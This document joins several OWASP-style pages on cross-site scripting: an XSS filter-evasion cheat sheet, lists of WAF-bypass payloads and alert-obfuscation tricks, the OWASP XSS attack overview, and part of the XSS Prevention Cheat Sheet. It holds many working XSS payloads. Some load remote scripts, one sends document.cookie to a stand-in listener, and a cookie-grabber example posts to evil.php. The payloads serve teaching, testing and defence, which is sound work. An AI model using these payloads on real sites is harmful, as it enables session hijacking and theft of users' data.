Yet another XSS to evade the same filter, /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
. I know I said I wasn’t goint to discuss mitigation techniques but the only thing I’ve seen work for this XSS example if you still want to allow <SCRIPT>
tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT>
tags):
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
And one last XSS attack to evade, /\<script((\\s+\\w+(\\s\*=\\s\*(?:"(.)\*?"|'(.)\*?'|\[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i
using grave accents (again, doesn’t work in Firefox):
<SCRIPT a=
> SRC="httx://xss.rocks/xss.js"></SCRIPT>
Here’s an XSS example that bets on the fact that the regex won’t catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
URL String Evasion
Assuming http://www.google.com/
is programmatically disallowed:
IP Versus Hostname
<A HREF="http://66.102.7.147/">XSS</A>
URL Encoding
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
DWORD Encoding
Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details:
<A HREF="http://1113982867/">XSS</A>
Hex Encoding
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
Octal Encoding
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc…:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Base64 Encoding
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
Mixed Encoding
Let’s mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I’ll never know). The tabs and newlines only work if this is encapsulated with quotes:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
Protocol Resolution Bypass
//
translates to http://
which saves a few more bytes. This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like (ht|f)tp(s)?://
(thanks to Ozh for part of this one). You can also change the //
to \\\\
. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.
<A HREF="//www.google.com/">XSS</A>
Google “feeling lucky” part 1.
Firefox uses Google’s “feeling lucky” function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox’s keyword:
protocol. You can concatenate several keywords by using something like the following keyword:XSS+RSnake
for instance. This no longer works within Firefox as of 2.0.
<A HREF="//google">XSS</A>
Google “feeling lucky” part 2.
This uses a very tiny trick that appears to work Firefox only, because of it’s implementation of the “feeling lucky” function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It’s simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
<A HREF="http://ha.ckers.org@google">XSS</A>
Google “feeling lucky” part 3.
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the “feeling lucky” function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case “google”):
<A HREF="http://google:ha.ckers.org">XSS</A>
Removing CNAMEs
When combined with the above URL, removing www.
will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
<A HREF="http://google.com/">XSS</A>
Extra dot for absolute DNS:
<A HREF="http://www.google.com./">XSS</A>
JavaScript Link Location:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
Content Replace as Attack Vector
Assuming http://www.google.com/
is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: java&\#x09;script:
was converted into java script:
, which renders in IE, Netscape 8.1+ in secure site mode and Opera):
<A HREF="http://www.google.com/ogle.com/">XSS</A>
Assisting XSS with HTTP Parameter Pollution
Assume a content sharing flow on a web site is implemented as below. There is a “Content” page which includes some content provided by users and this page also includes a link to “Share” page which enables a user choose their favorite social sharing platform to share it on. Developers HTML encoded the “title” parameter in the “Content” page to prevent against XSS but for some reasons they didn’t URL encoded this parameter to prevent from HTTP Parameter Pollution. Finally they decide that since content_type’s value is a constant and will always be integer, they didn’t encode or validate the content_type in the “Share” page.
Content Page Source Code
a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>
Share Page Source Code
<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
//some user agreement and sending to server logic might be here
...
</script>
Content Page Output
In this case if attacker set untrusted content title as “This is a regular title&content_type=1;alert(1)” the link in “Content” page would be this:
<a href="/share?content_type=1&title=This is a regular title&content_type=1;alert(1)">Share</a>
Share Page Output
And in share page output could be this:
<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
…
//some user agreement and sending to server logic might be here
…
</script>
As a result, in this example the main flaw is trusting the content_type in the “Share” page without proper encoding or validation. HTTP Parameter Pollution could increase impact of the XSS flaw by promoting it from a reflected XSS to a stored XSS.
Character Escape Sequences
All the possible combinations of the character “<” in HTML and JavaScript. Most of these won’t render out of the box, but many of them can get rendered in certain circumstances as seen above.
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
Methods to Bypass WAF – Cross-Site Scripting
General issues
Stored XSS
If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.
Reflected XSS in Javascript
Example: <script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//
DOM-based XSS
Example: <script> ... eval($\_GET\[xss\]); ... </script>
Exploitation: /?xss=document.cookie
XSS via request Redirection
- Vulnerable code:
...
header('Location: '.$_GET['param']);
...
As well as:
..
header('Refresh: 0; URL='.$_GET['param']);
...
- This request will not pass through the WAF:
/?param=<javascript:alert(document.cookie>)
- This request will pass through the WAF and an XSS attack will be conducted in certain browsers.
/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
WAF ByPass Strings for XSS.
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<meta content="
 1 
; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript:alert(document.location)>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
- On Mouse Over
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript:alert(1)>CLICKME
<input/onmouseover="javaSCRIPT:confirm(1)"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
Filter Bypass Alert Obfuscation
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
alert?.()
- `
${alert
}
` (The payload should include leading and trailing backticks.) (alert())
Cross Site Scripting (XSS) Software Attack | OWASP Foundation https://owasp.org/www-community/attacks/xss/
Cross Site Scripting Prevention - OWASP Cheat Sheet Series https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
Cross Site Scripting (XSS)
Contributor(s): Jim Manico, Jeff Williams, Dave Wichers, Adar Weidman, Roman, Alan Jex, Andrew Smith, Jeff Knutson, Imifos, Erez Yalon, kingthorin, Vikas Khanna
Overview
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page. For more details on the different types of XSS flaws, see: Types of Cross-Site Scripting.
Related Security Activities
How to Avoid Cross-site scripting Vulnerabilities
- XSS (Cross Site Scripting) Prevention Cheat Sheet
- DOM based XSS Prevention Cheat Sheet
- OWASP Development Guide article on Data Validation
- OWASP Development Guide article on Phishing
How to Review Code for Cross-site scripting Vulnerabilities
See the OWASP Code Review Guide.
How to Test for Cross-site scripting Vulnerabilities
See the latest OWASP Testing Guide article on how to test for the various kinds of XSS vulnerabilities.
- Testing_for_Reflected_Cross_site_scripting
- Testing_for_Stored_Cross_site_scripting
- Testing_for_DOM-based_Cross_site_scripting
Description
Cross-Site Scripting (XSS) attacks occur when:
- Data enters a Web application through an untrusted source, most frequently a web request.
- The data is included in dynamic content that is sent to a web user without being validated for malicious content.
The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user’s machine under the guise of the vulnerable site.
Stored and Reflected XSS Attacks
XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well-known type of XSS attack called DOM Based XSS that is discussed separately here.
Stored XSS Attacks
Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.
Blind Cross-site Scripting
Blind Cross-site Scripting is a form of persistent XSS. It generally occurs when the attacker’s payload saved on the server and reflected back to the victim from the backend application. For example in feedback forms, an attacker can submit the malicious payload using the form, and once the backend user/admin of the application will open the attacker’s submitted form via the backend application, the attacker’s payload will get executed. Blind Cross-site Scripting is hard to confirm in the real-world scenario but one of the best tools for this is XSS Hunter.
Reflected XSS Attacks
Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user’s browser. The browser then executes the code because it came from a “trusted” server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.
Other Types of XSS Vulnerabilities
In addition to Stored and Reflected XSS, another type of XSS, DOM Based XSS was identified by Amit Klein in 2005. OWASP recommends the XSS categorization as described in the OWASP Article: Types of Cross-Site Scripting, which covers all these XSS terms, organizing them into a matrix of Stored vs. Reflected XSS and Server vs. Client XSS, where DOM Based XSS is a subset of Client XSS.
XSS Attack Consequences
The consequence of an XSS attack is the same regardless of whether it is stored or reflected (or DOM Based). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a “read-only” or “brochureware” site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user’s session cookie, allowing an attacker to hijack the user’s session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company’s stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical site could allow an attacker to modify dosage information resulting in an overdose. For more information on these types of attacks see Content_Spoofing.
How to Determine If You Are Vulnerable
XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.
How to Protect Yourself
The primary defenses against XSS are described in the OWASP XSS Prevention Cheat Sheet.
Also, it’s crucial that you turn off HTTP TRACE support on all web servers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported by the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user’s cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all web servers.
The OWASP ESAPI project has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the OWASP WebGoat Project training application has lessons on Cross-Site Scripting and data encoding.
Alternate XSS Syntax
XSS Using Script in Attributes
XSS attacks may be conducted without using <script>...</script>
tags. Other tags will do exactly the same thing, for example: <body onload=alert('test1')>
or other attributes like: onmouseover
, onerror
.
onmouseover
<b onmouseover=alert('Wufff!')>click me!</b>
onerror
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
XSS Using Script Via Encoded URI Schemes
If we need to hide against web application filters we may try to encode string characters, e.g.: a=&\#X41
(UTF-8) and use it in IMG
tags:
<IMG SRC=jAvascript:alert('test2')>
There are many different UTF-8 encoding notations what give us even more possibilities.
XSS Using Code Encoding
We may encode our script in base64 and place it in META
tag. This way we get rid of alert()
totally. More information about this method can be found in RFC 2397
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
These and others examples can be found at the OWASP XSS Filter Evasion Cheat Sheet which is a true encyclopedia of the alternate XSS syntax attack.
Examples
Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted website for the consumption of other valid users.
The most common example can be found in bulletin-board websites which provide web based mailing list-style functionality.
Example 1
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
The code in this example operates correctly if eid
contains only standard alphanumeric text. If eid
has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.
Initially, this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.
Example 2
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee’s name.
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>
Employee Name: <%= name %>
As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user’s web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with websites that offered a “guestbook” to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:
- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker’s content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user’s machine to the attacker or perform other nefarious activities.
- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker’s perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
Attack Examples
Example 1: Cookie Grabber
If the application doesn’t validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input(ie: message boards, private messages, user profiles):
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in “cakemonster” variable. The attacker then checks the results of their evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.
Error Page Example
Let’s assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is missing:
<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
Let’s see how it works: http://testsite.test/file_which_not_exist
In response we get: Not found: /file_which_not_exist
Now we will try to force the error page to include our code: http://testsite.test/<script>alert("TEST");</script>
The result is: Not found: / (but with JavaScript code <script>alert("TEST");</script>)
We have successfully injected the code, our XSS! What does it mean? For example, that we may use this flaw to try to steal a user’s session cookie.
Related Attacks
Related Vulnerabilities
- Improper Data Validation
- Types of Cross-Site Scripting
- OWASP Development Guide article on Data Validation
- OWASP Development Guide article on Phishing
Related Controls
References
- OWASP’s XSS (Cross Site Scripting) Prevention Cheat Sheet
- Testing_for_Reflected_Cross_site_scripting
- Testing_for_Stored_Cross_site_scripting
- Testing_for_DOM-based_Cross_site_scripting
- The Cross Site Scripting FAQ
- OWASP XSS Filter Evasion Cheat Sheet
- CERT Advisory on Malicious HTML Tags
- CERT “Understanding Malicious Content Mitigation
- Understanding the cause and effect of CSS Vulnerabilities
- XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites
Category:Injection Category:OWASP Top Ten Project Category:Attack
Cross Site Scripting Prevention Cheat Sheet¶
Introduction¶
This article provides a simple positive model for preventing XSS using output encoding properly. While there are a huge number of XSS attack vectors, following a few simple rules can completely defend against this serious attack.
This article does not explore the technical or business impact of XSS. Suffice it to say that it can lead to an attacker gaining the ability to do anything a victim can do through their browser.
Both reflected and stored XSS can be addressed by performing the appropriate validation and encoding on the server-side. DOM Based XSS can be addressed with a special subset of rules described in the DOM based XSS Prevention Cheat Sheet.
For a cheatsheet on the attack vectors related to XSS, please refer to the XSS Filter Evasion Cheat Sheet. More background on browser security and the various browsers can be found in the Browser Security Handbook.
Before reading this cheatsheet, it is important to have a fundamental understanding of Injection Theory.
A Positive XSS Prevention Model¶
This article treats an HTML page like a template, with slots where a developer is allowed to put untrusted data. These slots cover the vast majority of the common places where a developer might want to put untrusted data. Putting untrusted data in other places in the HTML is not allowed. This is an "allow list" model, that denies everything that is not specifically allowed.
Given the way browsers parse HTML, each of the different types of slots has slightly different security rules. When you put untrusted data into these slots, you need to take certain steps to make sure that the data does not break out of that slot into a context that allows code execution. In a way, this approach treats an HTML document like a parameterized database query - the data is kept in specific places and is isolated from code contexts with encoding.
This document sets out the most common types of slots and the rules for putting untrusted data into them safely. Based on the various specifications, known XSS vectors, and a great deal of manual testing with all the popular browsers, we have determined that the rules proposed here are safe.
The slots are defined and a few examples of each are provided. Developers SHOULD NOT put data into any other slots without a very careful analysis to ensure that what they are doing is safe. Browser parsing is extremely tricky and many innocuous looking characters can be significant in the right context.
Why Can't I Just HTML Entity Encode Untrusted Data¶
HTML entity encoding is okay for untrusted data that you put in the body of the HTML document, such as inside a <div>
tag. It even sort of works for untrusted data that goes into attributes, particularly if you're religious about using quotes around your attributes. But HTML entity encoding doesn't work if you're putting untrusted data inside a <script>
tag anywhere, or an event handler attribute like onmouseover, or inside CSS, or in a URL. So even if you use an HTML entity encoding method everywhere, you are still most likely vulnerable to XSS. You MUST use the encode syntax for the part of the HTML document you're putting untrusted data into. That's what the rules below are all about.
You Need a Security Encoding Library¶
Writing these encoders is not tremendously difficult, but there are quite a few hidden pitfalls. For example, you might be tempted to use some of the escaping shortcuts like \"
in JavaScript. However, these values are dangerous and may be misinterpreted by the nested parsers in the browser. You might also forget to escape the escape character, which attackers can use to neutralize your attempts to be safe. OWASP recommends using a security-focused encoding library to make sure these rules are properly implemented.
Microsoft provides a System.Web.Security.AntiXss.AntiXssEncoder Class for .NET 4.5 to 4.8, and ASP.Net Core has a few (limited) built-in features. ASP.NET 2.0 Framework has built-in ValidateRequest function that provides limited sanitization.
The OWASP Java Encoder Project provides a high-performance encoding library for Java.
XSS Prevention Rules¶
The following rules are intended to prevent all XSS in your application. While these rules do not allow absolute freedom in putting untrusted data into an HTML document, they should cover the vast majority of common use cases. You do not have to allow all the rules in your organization. Many organizations may find that allowing only Rule #1 and Rule #2 are sufficient for their needs. Please add a note to the discussion page if there is an additional context that is often required and can be secured with encoding.
Do NOT simply encode/escape the list of example characters provided in the various rules. It is NOT sufficient to encode/escape only that list. Block list approaches are quite fragile. The allow list rules here have been carefully designed to provide protection even against future vulnerabilities introduced by browser changes.
RULE #0 - Never Insert Untrusted Data Except in Allowed Locations¶
The first rule is to deny all - don't put untrusted data into your HTML document unless it is within one of the slots defined in Rule #1 through Rule #5. The reason for Rule #0 is that there are so many strange contexts within HTML that the list of encoding rules gets very complicated. We can't think of any good reason to put untrusted data in these contexts. This includes "nested contexts" like a URL inside a JavaScript -- the encoding rules for those locations are tricky and dangerous.
If you insist on putting untrusted data into nested contexts, please do a lot of cross-browser testing and let us know what you find out.
Directly in a script:
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>
Inside an HTML comment:
<!--...NEVER PUT UNTRUSTED DATA HERE...-->
In an attribute name:
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />
In a tag name:
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />
Directly in CSS:
<style>
...NEVER PUT UNTRUSTED DATA HERE...
</style>
Most importantly, never accept actual JavaScript code from an untrusted source and then run it. For example, a parameter named "callback" that contains a JavaScript code snippet. No amount of encoding/escaping can fix that.
RULE #1 - HTML Encode Before Inserting Untrusted Data into HTML Element Content¶
Rule #1 is for when you want to put untrusted data directly into the HTML body somewhere. This includes inside normal tags like div
, p
, b
, td
, etc. Most web frameworks have a method for HTML encoding/escaping for the characters detailed below. However, this is absolutely not sufficient for other HTML contexts. You need to implement the other rules detailed here as well.
<body>
...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...
</body>
<div>
...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...
</div>
Encode the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. The 5 characters significant in XML (&
, <
, >
, "
, '
):
& --> &
< --> <
> --> >
" --> "
' --> '
' not recommended because its not in the HTML spec (See: section 24.4.1) ' is in the XML and XHTML specs.
RULE #2 - Attribute Encode Before Inserting Untrusted Data into HTML Common Attributes¶
Rule #2 is for putting untrusted data into HTML attribute values like width
, name
, value
, etc.
For example:
<div attr="...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">content
- Always quote dynamic attributes with
"
or'
. Quoted attributes can only be broken out of with the corresponding quote, while unquoted attributes can be broken out of with many characters, including[space]
%
*
+
,
-
/
;
<
=
>
^
and|
. - Encode the corresponding quote:
"
and'
should be encoded to"
and'
respectively. - Some attributes can be used for attack event with encoding and should not be dynamic, or with extra care
href
can be used to inject JavaScript withjavascript
pseudo protocol (e.g.href="javascript:attack()
)- all event handlers (
onclick
,onerror
,onmouseover
, ...) can be used to inject JavaScript src
can also be used to inject external scripts depending on the context (e.g. in a script tag)style
can be exploited, see rule 4.
RULE #3 - JavaScript Encode Before Inserting Untrusted Data into JavaScript Data Values¶
Rule #3 concerns dynamically generated JavaScript code - both script blocks and event-handler attributes. The only safe place to put untrusted data into this code is inside a quoted "data value." Including untrusted data inside any other JavaScript context is quite dangerous, as it is extremely easy to switch into an execution context with characters including (but not limited to) semi-colon, equals, space, plus, and many more, so use with caution.
Inside a quoted string:
<script>alert('...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>
One side of a quoted expression:
<script>x='...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>
Inside quoted event handler:
<div onmouseover="x='...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...'"</div>
Please note there are some JavaScript functions that can never safely use untrusted data as input - EVEN IF JAVASCRIPT ENCODED!
For example:
<script>
window.setInterval('...EVEN IF YOU ENCODE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>
Except for alphanumeric characters, encode all characters with the \xHH
format to prevent switching out of the data value into the script context or into another attribute. DO NOT use any escaping shortcuts like \"
because the quote character may be matched by the HTML attribute parser which runs first. These escaping shortcuts are also susceptible to escape-the-escape attacks where the attacker sends \"
and the vulnerable code turns that into \\"
which enables the quote.
If an event handler is properly quoted, breaking out requires the corresponding quote. However, we have intentionally made this rule quite broad because event handler attributes are often left unquoted. Unquoted attributes can be broken out of with many characters including [space]
%
*
+
,
-
/
;
<
=
>
^
and |
.
Also, a </script>
closing tag will close a script block even though it is inside a quoted string because the HTML parser runs before the JavaScript parser. Please note this is an aggressive encoding policy that over-encodes. If there is a guarantee that proper quoting is accomplished then a much smaller character set is needed. Please look at the OWASP Java Encoder JavaScript encoding examples for examples of proper JavaScript use that requires minimal encoding.
RULE #3.1 - HTML Encode JSON values in an HTML context and read the data with JSON.parse¶
In a Web 2.0 world, the need for having data dynamically generated by an application in a JavaScript context is common. One strategy is to make an AJAX call to get the values, but this isn't always performant. Often, an initial block of JSON is loaded into the page to act as a single place to store multiple values. This data is tricky, though not impossible, to encode/escape correctly without breaking the format and content of the values.
Ensure returned Content-Type
header is application/json
and not text/html
. This shall instruct the browser not misunderstand the context and execute injected script
Bad HTTP response:
HTTP/1.1 200
Date: Wed, 06 Feb 2013 10:28:54 GMT
Server: Microsoft-IIS/7.5....
Content-Type: text/html; charset=utf-8 <-- bad
....
Content-Length: 373
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
{"Message":"No HTTP resource was found that matches the request URI 'dev.net.ie/api/pay/.html?HouseNumber=9&AddressLine
=The+Gardens<script>alert(1)</script>&AddressLine2=foxlodge+woods&TownName=Meath'.","MessageDetail":"No type was found
that matches the controller named 'pay'."} <-- this script will pop!!
Good HTTP response:
HTTP/1.1 200
Date: Wed, 06 Feb 2013 10:28:54 GMT
Server: Microsoft-IIS/7.5....
Content-Type: application/json; charset=utf-8 <--good
.....
A common anti-pattern one would see:
<script>
// Do NOT do this without encoding the data with one of the techniques listed below.
var initData = <%= data.to_json %>;
</script>
JSON SERIALIZATION¶
A safe JSON serializer will allow developers to serialize JSON as string of literal JavaScript which can be embedded in an HTML in the contents of the <script>
tag. HTML characters and JavaScript line terminators need be encoded. Consider the Yahoo JavaScript Serializer for this task.
HTML ENTITY ENCODING¶
This technique has the advantage that HTML entity encoding is widely supported and helps separate data from server side code without crossing any context boundaries. Consider placing the JSON block on the page as a normal element and then parsing the innerHTML to get the contents. The JavaScript that reads the span can live in an external file, thus making the implementation of CSP enforcement easier.
<div id="init_data" style="display: none">
<%= html_encode(data.to_json) %>
</div>
// external js file
var dataElement = document.getElementById('init_data');
// decode and parse the content of the div
var initData = JSON.parse(dataElement.textContent);
An alternative to encoding and decoding JSON directly in JavaScript, is to normalize JSON server-side by converting <
to \u003c
before delivering it to the browser.
RULE #4 - CSS Encode And Strictly Validate Before Inserting Untrusted Data into HTML Style Property Values¶
Rule #4 is for when you want to put untrusted data into a style sheet or a style tag. CSS is surprisingly powerful, and can be used for numerous attacks. Therefore, it's important that you only use untrusted data in a property value and not into other places in style data. You should stay away from putting untrusted data into complex properties like url
, behavior
, and custom (-moz-binding
).
You should also not put untrusted data into IE's expression property value which allows JavaScript.
Property value:
<style>
selector { property : ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...; }
</style>
<style>
selector { property : "...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE..."; }
</style>
